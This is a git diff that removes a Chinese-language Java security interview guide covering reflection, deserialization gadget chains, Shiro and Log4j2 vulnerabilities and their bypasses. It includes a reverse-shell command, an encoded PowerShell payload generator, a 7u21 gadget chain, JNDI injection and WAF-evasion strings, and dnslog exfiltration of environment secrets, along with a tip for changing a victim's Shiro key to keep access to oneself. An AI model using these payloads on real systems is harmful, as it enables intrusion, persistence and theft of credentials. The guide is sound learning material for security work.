|
15 | 15 |
|
16 | 16 |
|
17 | 17 | 作者技术水平有限,难免有错误之处,欢迎师傅们提出ISSUE和PR |
18 | | - |
19 | | - |
20 | | - |
21 | | -## JDK |
22 | | - |
23 | | -- Java反射做了什么事情(★) |
24 | | - |
25 | | -反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了静态的效果 |
26 | | - |
27 | | - |
28 | | - |
29 | | -- Java反射可以修改Final字段嘛(★★) |
30 | | - |
31 | | -可以做到,参考以下代码 |
32 | | - |
33 | | -```java |
34 | | -field.setAccessible(true); |
35 | | -Field modifiersField = Field.class.getDeclaredField("modifiers"); |
36 | | -modifiersField.setAccessible(true); |
37 | | -modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); |
38 | | -field.set(null, newValue); |
39 | | -``` |
40 | | - |
41 | | - |
42 | | - |
43 | | -- 传统的反射方法加入黑名单怎么绕(★★★) |
44 | | - |
45 | | -可以使用的类和方法如下(参考三梦师傅) |
46 | | - |
47 | | -```java |
48 | | -ReflectUtil.forName |
49 | | -BytecodeDescriptor |
50 | | -ClassLoader.loadClass |
51 | | -sun.reflect.misc.MethodUtil |
52 | | -sun.reflect.misc.FieldUtil |
53 | | -sun.reflect.misc.ConstructorUtil |
54 | | -MethodAccessor.invoke |
55 | | -JSClassLoader.invoke |
56 | | -JSClassLoader.newInstance |
57 | | -``` |
58 | | - |
59 | | - |
60 | | - |
61 | | -- Java中可以执行反弹shell的命令吗(★★) |
62 | | - |
63 | | -可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:`bash -i >& /dev/tcp/ip/port 0>&1`会失败,简单来说因为`>`符号是重定向,如果命令中包含输入输出重定向和管道符,只有在`bash`下才可以,使用Java执行这样的命令会失败,所以需要加入`Base64` |
64 | | - |
65 | | -```shell |
66 | | -bash -c {echo,base64的payload}|{base64,-d}|{bash,-i} |
67 | | -``` |
68 | | - |
69 | | -针对`Powershell`应该使用以下的命令 |
70 | | - |
71 | | -```shell |
72 | | -powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64 |
73 | | -``` |
74 | | - |
75 | | -这个特殊的Base64和普通Base64不同,需要填充0,算法如下 |
76 | | - |
77 | | -```java |
78 | | -public static String getPowershellCommand(String cmd) { |
79 | | - char[] chars = cmd.toCharArray(); |
80 | | - List<Byte> temp = new ArrayList<>(); |
81 | | - for (char c : chars) { |
82 | | - byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8); |
83 | | - for (byte b : code) { |
84 | | - temp.add(b); |
85 | | - } |
86 | | - temp.add((byte) 0); |
87 | | - } |
88 | | - byte[] result = new byte[temp.size()]; |
89 | | - for (int i = 0; i < temp.size(); i++) { |
90 | | - result[i] = temp.get(i); |
91 | | - } |
92 | | - String data = Base64.getEncoder().encodeToString(result); |
93 | | - String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "; |
94 | | - return prefix + data; |
95 | | -} |
96 | | -``` |
97 | | - |
98 | | - |
99 | | - |
100 | | -- 假设`Runtime.exec`加入黑名单还有什么方式执行命令(★★) |
101 | | - |
102 | | -其实这个问题有点类似`JSP Webshell`免杀 |
103 | | - |
104 | | -大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等) |
105 | | - |
106 | | - |
107 | | - |
108 | | -- RMI和LDAP类型的JNDI注入分别在哪个版本限制(★) |
109 | | - |
110 | | -RMI的JNDI注入在8u121后限制,需要手动开启`com.sun.jndi.rmi.object.trustURLCodebase`属性 |
111 | | - |
112 | | -LDAP的JNDI注入在8u191后限制,需要开启`com.sun.jndi.ldap.object.trustURLCodebase`属性 |
113 | | - |
114 | | - |
115 | | - |
116 | | -- RMI和LDAP的限制版本分别可以怎样绕过(★★) |
117 | | - |
118 | | -RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发 |
119 | | - |
120 | | -通过`org.apache.naming.factory.BeanFactory`结合`ELProcessor`绕过 |
121 | | - |
122 | | -LDAP的限制中不对`javaSerializedData`验证,所以可以打本地`gadget` |
123 | | - |
124 | | - |
125 | | - |
126 | | -- 谈谈TemplatesImpl这个类(★★) |
127 | | - |
128 | | -这个类本身是JDK中XML相关的类,但被很多`Gadget`拿来用 |
129 | | - |
130 | | -一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的`defineClass`方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个`TemplatesImpl`类,其中包含`TransletClassLoader`子类重写了`defineClass`所以允许`TemplatesImpl`类本身调用。`TemplatesImpl`其中有一个特殊字段`_bytecodes`是一个二维字节数组,是被加载的字节码 |
131 | | - |
132 | | -通过`newTransformer`可以达到`defineClass`方法加载字节码。而`getOutputProperties`方法(getter)中调用了`newTransformer`方法,也是一个利用链 |
133 | | - |
134 | | -```text |
135 | | -TemplatesImpl.getOutputProperties() |
136 | | - TemplatesImpl.newTransformer() |
137 | | - TemplatesImpl.getTransletInstance() |
138 | | - TemplatesImpl.defineTransletClasses() |
139 | | - ClassLoader.defineClass() |
140 | | - Class.newInstance() |
141 | | -``` |
142 | | - |
143 | | - |
144 | | - |
145 | | -- 了解BCEL ClassLoader吗(★) |
146 | | - |
147 | | -BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目 |
148 | | - |
149 | | -该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码 |
150 | | - |
151 | | -但是在Java 8u251之后该类从JDK中移除 |
152 | | - |
153 | | - |
154 | | - |
155 | | -- 谈谈7U21反序列化(★★★★★) |
156 | | - |
157 | | -从`LinkedHashSet.readObject`开始,找到父类`HashSet.readObject`方法,其中包含`HashMap`的类型转换以及`HashMap.put`方法,跟入`HashMap.put`其中对`key`与已有`key`进行`equals`判断,这个`equals`方法是触发后续利用链的关键。但`equals`方法的前置条件必须满足 |
158 | | - |
159 | | -```java |
160 | | -if (e.hash == hash && ((k = e.key) == key || key.equals(k))) |
161 | | -``` |
162 | | - |
163 | | -所以这里需要用哈希碰撞,让下一个`key`的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去`equals`方法,两个`key`对象不相同是显而易见的 |
164 | | - |
165 | | -接下来的任务是找到一处能触发`equals`方法的地方 |
166 | | - |
167 | | -反射创建`AnnotationInvocationHandler`对象,传入`Templates`类型和`HashMap`参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过`InvocationHandler.invoke`方法,在`AnnotationInvocationHandler`这个`InvocationHandler`的`invoke`方法实现中如果遇到`equals`方法,会进入`equalsImpl`方法,其中遍历了`equals`方法传入的参数`TemplatesImpl`的所有方法并反射调用,通过`getOutputProperties`方法最终加载字节码导致RCE |
168 | | - |
169 | | -关于7U21的伪代码如下 |
170 | | - |
171 | | -```java |
172 | | -Object templates = Gadgets.createTemplatesImpl(); |
173 | | -String zeroHashCodeStr = "f5a5a608"; |
174 | | -HashMap map = new HashMap(); |
175 | | -Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; |
176 | | -ctor.setAccessible(true); |
177 | | -InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); |
178 | | -Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler); |
179 | | -LinkedHashSet set = new LinkedHashSet(); |
180 | | -set.add(templates); |
181 | | -set.add(proxy); |
182 | | -map.put(zeroHashCodeStr, templates); |
183 | | -return set; |
184 | | -``` |
185 | | - |
186 | | -结合调用链 |
187 | | - |
188 | | -```text |
189 | | -LinkedHashSet.readObject() |
190 | | - LinkedHashSet.add()/HashMap.put() |
191 | | - Proxy(Templates).equals() |
192 | | - AnnotationInvocationHandler.invoke() |
193 | | - AnnotationInvocationHandler.equalsImpl() |
194 | | - Method.invoke() |
195 | | - ... |
196 | | - TemplatesImpl.getOutputProperties() |
197 | | -``` |
198 | | - |
199 | | -可以看到伪代码最后在`map`中`put`了某个元素,这是为了处理哈希碰撞的问题。`TemplatesImpl`没有重写`hashcode`直接调用`Object`的方法。而代理对象的`hashcode`方法也是会先进入`invoke`方法的,跟入`hashCodeImpl`方法看到是根据传入参数`HashMap`来做的,累加每一个`Entry`的`key`和`value`计算得出的`hashcode`。通过一些运算,可以找到符合条件的碰撞值 |
200 | | - |
201 | | - |
202 | | - |
203 | | -- 谈谈8U20反序列化(★★★★★) |
204 | | - |
205 | | -这是7U21修复的绕过(作者对该问题了解较浅,面试没有被问到过) |
206 | | - |
207 | | -在`AnnotationInvocationHandler`反序列化调用`readObject`方法中,对当前`type`进行了判断。之前POC中的`Templates`类型会导致抛出异常无法继续。使用`BeanContextSupport`绕过,在它的`readObject`方法中调用`readChildren`方法,其中有`try-catch`但没有抛出异常而是`continue`继续 |
208 | | - |
209 | | -所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据 |
210 | | - |
211 | | - |
212 | | - |
213 | | -- 了解缩小反序列化Payload的手段吗(★★★) |
214 | | - |
215 | | -首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载 |
216 | | - |
217 | | - |
218 | | - |
219 | | -- 待师傅们补充 |
220 | | - |
221 | | - |
222 | | - |
223 | | -## Shiro |
224 | | - |
225 | | -- Shiro反序列化怎么检测key(★★★) |
226 | | - |
227 | | -实例化一个`SimplePrincipalCollection`遍历key列表进行AES加密,然后加入到`Cookie`的`rememberMe`字段中发送,如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key |
228 | | - |
229 | | - |
230 | | - |
231 | | -- Shiro 721怎么利用(★★) |
232 | | - |
233 | | -需要用到Padding Oracle Attack技术,限制条件是需要已知合法用户的`rememberMe`且需要爆破较长的时间 |
234 | | - |
235 | | - |
236 | | - |
237 | | -- 最新版Shiro还存在反序列化漏洞吗(★) |
238 | | - |
239 | | -存在,如果密钥是常见的,还是有反序列化漏洞的可能性 |
240 | | - |
241 | | - |
242 | | - |
243 | | -- Shiro反序列化Gadget选择有什么坑吗(★★★) |
244 | | - |
245 | | -默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为`serialVersionUID` 不一致 |
246 | | - |
247 | | -另一个CB1的坑是`Comparator`来自于CC,需要使用如下的 |
248 | | - |
249 | | -```java |
250 | | -BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); |
251 | | -``` |
252 | | - |
253 | | - |
254 | | - |
255 | | -- Shiro注Tomcat内存马有什么坑吗(★★★★) |
256 | | - |
257 | | -Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错 |
258 | | - |
259 | | -解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本`Tomcat`可能修改方式不一致。另外一种更为通用的手段是打过去一个`Loader`的`Payload`加载请求`Body`里的字节码,将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象,更进一步可以写文件`URLClassLoader`加载 |
260 | | - |
261 | | - |
262 | | - |
263 | | -- 有什么办法让Shiro洞只能被你一人发现(★★) |
264 | | - |
265 | | -发现Shiro洞后,改了其中的key为非通用key。通过已经存在的反序列化可以执行代码,反射改了`RememberMeManager`中的key即可。但这样会导致已登录用户失效,新用户不影响 |
266 | | - |
267 | | - |
268 | | - |
269 | | -- Shiro的权限绕过问题了解吗(★★) |
270 | | - |
271 | | -主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}` |
272 | | - |
273 | | - |
274 | | - |
275 | | -## Log4j2 |
276 | | - |
277 | | -- 谈谈Log4j2漏洞(★★) |
278 | | - |
279 | | -漏洞原理其实不难,简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.lookup`导致的RCE。日志的任何一部分插入`${}`都会进行递归处理,也就是说`log.info/error/warn`等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣 |
280 | | - |
281 | | - |
282 | | - |
283 | | -- 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★) |
284 | | - |
285 | | -修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常然后RCE |
286 | | - |
287 | | - |
288 | | - |
289 | | -- Log4j2的两个DOS CVE了解吗(★★) |
290 | | - |
291 | | -其中一个DOS是`lookup`本身延迟等待和允许多个标签`${}`导致的问题 |
292 | | - |
293 | | -另一个DOS是嵌套标签`${}`导致栈溢出 |
294 | | - |
295 | | - |
296 | | - |
297 | | -- Log4j2 2.15.0正式版的绕过了解吗(★★★) |
298 | | - |
299 | | -正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用`127.0.0.1#evil.com`即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功 |
300 | | - |
301 | | - |
302 | | - |
303 | | -- Log4j2绕WAF的手段有哪些(★★) |
304 | | - |
305 | | -使用类似`${::-J}`的方式做字符串的绕过,还可以结合`upper`和`lower`标签进行嵌套 |
306 | | - |
307 | | -有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符 |
308 | | - |
309 | | -例如:`${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}` |
310 | | - |
311 | | - |
312 | | - |
313 | | -- Log4j2除了RCE还有什么利用姿势(★★★) |
314 | | - |
315 | | -利用其他的`lookup`可以做信息泄露例如`${env:USER}`和`${env:AWS_SECRET_ACCESS_KEY}` |
316 | | - |
317 | | -在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息 |
318 | | - |
319 | | -这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}` |
320 | | - |
321 | | - |
322 | | - |
323 | | - |
324 | | - |
325 | | - |
326 | | - |
327 | | - |
328 | | - |
329 | | - |
330 | | - |
331 | | - |
332 | | - |
333 | | - |
334 | | - |
335 | | - |
336 | | - |
0 commit comments